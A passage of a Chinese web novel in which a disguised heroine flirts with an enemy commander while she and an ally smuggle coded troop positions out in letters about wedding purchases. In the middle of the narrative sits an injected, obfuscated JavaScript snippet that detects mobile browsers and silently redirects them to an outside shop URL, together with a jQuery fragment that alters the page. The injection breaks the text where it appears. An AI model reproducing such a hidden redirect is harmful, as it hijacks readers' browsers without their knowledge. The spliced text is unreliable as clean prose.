“爹爹定是担心死我了。我告诉你,将来你进了临峣城,少不得要被他好好刁难一番。” 贺连川呵呵一笑,浑不在意:“依你见,我该如何回?” “自是依我爹,让我与他见上一面,把东西接回来。”苗悦道,“难不成,你还怕我借机跑了?” 贺连川道:“周围都是弩手,怎么可能跑得掉。” 苗悦嗔道:“那你还担心什么,我石红玉虽是女儿,但也言出必行,‘嫁给你’这种话我都说出口了,岂会出尔反尔?” 贺连川嘿嘿一笑,道:“那我便与你爹约个时日。” 苗悦反问:“大帅打算将婚礼办在何处?” “自然是在我卢宁军大营。”贺连川答得理所当然。 苗悦脸上立刻浮现出委屈神色,嗔道:“我爹爹就我这么一个女儿,他疼我,早早便为我备下了丰厚的嫁妆。如今那些繁文缛节可以省去,可你迎娶的诚意总要有些吧?军中这般简陋,连块像样的红布都没有,难道要我披着这身旧衣嫁人不成?” 她越说越气,眼圈微微发红:“这婚若办得如此寒酸,我爹爹怎会点头?他不点头,你又如何进得了临峣城?” 贺连川被她问得一怔,道:“军中自是简陋些,你需要什么,我派人去买便是。” “我就那般不讲究?这荒郊野岭的上哪儿买去?”苗悦负气道。 贺连川问:“你要如何?总之,成婚前不可能放你回去。” 苗悦想了想,道:“不如这样,我去封信,让我爹爹在城中帮我采买齐全,一并送来。” 贺连川犹豫,如此一来,石红玉势必要频繁与临峣城通信,其中会不会另有变故? 正犹豫间,却见少女忽然伸手,轻轻扯住他袖角,脸颊飞起一抹红晕。 苗悦声音软软:“女儿家一辈子,最重要的便是出嫁这天。我心中早就偷偷设想过,我的丈夫,定是像你这般英勇伟岸的大英雄。我不希望留有遗憾。大帅,就当是为了我们往后的日子能有个圆满的开头,好不好?” 半是撒娇半是憧憬的话语,配上她那娇羞无限的神态,惹得贺连川心中一阵激荡,豪气顿生,当即拍板:“好!就依你!让你爹去置办。” 苗悦破涕为笑,甜甜赞道:“大帅对我真好!” 贺连川见她笑靥如花,心中也甚是舒畅。 “只要你与我同心,将来我必不会亏待于你,定让你过上比从前更风光的日子!” 这时,院中传来“咕咚”一声响,似是燕钊搬动的巨石落了地。 贺连川想起什么,问苗悦:“你那‘石阵促姻缘’的说法,可是真的?” 苗悦撇撇嘴:“我瞎编的。不然上哪儿找那么多事支使他?蝴蝶也抓过了,家具也晒过了。” 贺连川无奈道:“你这般折腾他,营中上下都瞧在眼里。好歹给他留点面子,也是给我留点体面。传出去说我连个手下都护不住,名声不好听。你给他安排些别的活计。” 苗悦眼珠一转:“那好,我不让他干粗活了,让他来给我研墨,这样总不算折辱他了吧?” “研墨?”贺连川将信将疑。 苗悦笑道:“研墨这活儿讲究可多了,水要几分,墨要几圈,力道是轻是重,研出的墨汁是浓是淡、是稠是稀,都大有学问。我要给爹爹写那么多信,商议婚仪采买,总得有个人帮我研墨吧?” 贺连川仍有顾虑:“可你们孤男寡女,终日同在帐中……” 苗悦笑他:“我刚来时,你还要他伺候周全,怎么不提孤男寡女了。” 贺连川道:“那时怎能与现在相提并论,现在你身份不一样。” 苗悦想了想,说:“要不这样,只要他在帐中研墨,我便不挂帘子,大大方方的,既全了规矩,也顾了你的面子。” 贺连川觉得此法倒也周全,便点头应允了,当即把燕钊叫进来,吩咐他接下来几日专心配合石红玉研墨写字。 燕钊垂首应下。 事情安排妥当,件件称心,苗悦又对贺连川娇媚一笑:“大帅待我这般体贴,红玉记在心里了。” 贺连川见她如此乖顺,心中大悦,又叮嘱了几句,这才心满意足地离去。 送走贺连川后,苗悦志得意满地坐回凳上,拿起信纸,笑道:“我本来还担心我爹他们看不懂信中意思,看来是我多虑了。” 石红玉的记忆中根本没有“漱玉涧水”“一线天”这些名称,都是燕钊说的。 她看向燕钊,本想夸他两句,却看到他微垂着头,脸上挂着一丝极淡却难以描述的揶揄笑意。 苗悦微怔,这还是她头一次在燕钊脸上看到如此鲜活的神情。 燕钊似有所察,抬起眼,恰与苗悦探究的视线对上。 他瞬间敛容,又恢复了惯有的淡漠的平静。 苗悦眯起眼,不肯放过他:“我看见了,你在笑什么?!” 燕钊抿了抿薄唇,知道躲不过去,只得道:“我只是觉得意外,原来横山公主也会用美人计。” 苗悦挑眉,优雅地折起信纸,笑道:“原来你也知道,我是个美人啊。” 她顿了顿,语气轻快地补充:“美人使美人计,不是天经地义么?” 燕钊脱离了搬石头的苦活,但研墨也绝非轻松事。 苗悦对他的挑剔变本加厉。 她总能找到由头斥责他研的墨不合心意,不是嫌墨色太淡,写出的字没有筋骨,就是嫌墨汁太稠,滞涩不通,污了她的纸。 燕钊只得守在砚台旁,几乎无休止地研磨。 守卫们常常听见苗悦的呵斥声,她将写字不顺频频废纸的缘故,全都归咎于燕钊研墨不佳。 加上此前两名同袍因站得太近被罚了军棍,如今所有守卫都学乖了,个个目不斜视,尽可能远离那顶帐子。 苗悦写字速度很慢,她是个贼,能认会写就够了,不需要练出什么字体,老贼头也没闲钱供她纸笔。 燕钊站在苗悦对面,侧对帐门,余光注视着外面的动静,一边研墨一边低声说话。 “老屏山一线天西去五里,有一片唤作‘野猪林’的坡地,这两处的方位与距离,正好对应着卢宁军粮草大营相对临峣城的位置。你就写,城东有家字号‘野猪林’的粮铺,他家的豆粕品质极佳,一线天最喜。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16821394|189686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苗悦笔尖微顿:“你确定他们能明白?搞错位置怎么办。” “杨溪会明白的。”燕钊冷静道,“整个临峣城从东门到铁匠店,再到西门的大致范围正好与卢宁军营地的大小相当。守卫刺史府的几百将士人数,就用来比拟卢宁军的弩手……” 这几日,燕钊借着抓蝴蝶、挖野菜的名头,早已将卢宁军大营的布局摸得一清二楚。加之他从前任铁屏寨巡山队长做到临峣城巡城队长,对老屏山的每一条山道,临峣城的每一处街巷,都了如指掌。 这三幅截然不同的“地图”在他脑中完美叠加,彼此参照,衍生出无数虚虚实实的坐标,既掩人耳目,又能将军情传递出去。 破解此法,关键在于找到一个同样对这三处地形都极为熟悉的人。 他的副手,情同兄弟的杨溪,是最合适的人选。 燕钊又想到什么,停下动作,皱眉琢磨。 苗悦看眼帐外,提高音量:“谁让你停下的,继续!” 燕钊又动起来,低声说:“弩手的数量要尽量准确,他们的弩军……着实厉害。” 苗悦敏锐地捕捉到燕钊眼中一闪而过的羡慕与好奇,顿觉这是一个绝佳的机会。 她用一种毋庸置疑的口吻说:“卢宁军是朝廷的正规军,所用的军械,岂是寻常铁匠铺能打出来的。那是朝廷大匠,耗费无数心血,一代代改良出来的杀器。弩身用什么木,弩机用什么铜,弦线的绞法,箭矢的重心,这其中任何一道工序,都够让一个寻常匠人钻研一辈子。” “更别提弩阵配合的战法,日常维护的耗材,训练精锐的投入,都是朝廷倾举国之力支撑的。没有国库的银子,没有工部的规制,没有兵部的操典,哪来的什么弩军。所以说,人的勇武,或许能逞一时之快,可与国之力相比,不过是萤火之于皓月。” 她语重心长地总结道:“越是有本事的人,越该明白这个道理。依附于朝廷,借助这股大势,才能将一身本领发挥到极致,博个真正的封妻荫子,青史留名。” 苗悦觉得自己太了不起了,居然能在身处敌营演着苦肉计的情形下,见缝插针的完成“思想渗透”的任务。 敬业,实在是敬业,她也就是没在现代社会活到成年,但凡她成年了,怎么着不得是个高级打工仔。 苗悦默默给自己点了个赞。 燕钊停下研墨的手,眼中满是诧异:“弩身、弩机、弦线都是什么东西?你怎么会知道?” 苗悦一时语塞。 这些知识全都来自李晏的培训。 燕钊之所以能成为一方枭雄,正是因为他改进了弩机,组建起一支令人生畏的弩骑兵。可以说,强大的弩军是他霸业的基石。 苗悦眼波一转,得意地说:“自然是贺连川告诉我的呀。他为了在我面前显摆他的本事,把他的弩军夸的天上有地下无。” 燕钊张口,还要追问。 苗悦抢先一步,笑道:“哪天我跟他要一把来,咱们研究研究,如何?” 这话果然转移了燕钊的注意力,他眼中光芒大盛,身体不自觉地前倾:“这么重要的武器,你能要到?” 苗悦朝他挤挤眼,揶揄道:“你知道的,美人计嘛。”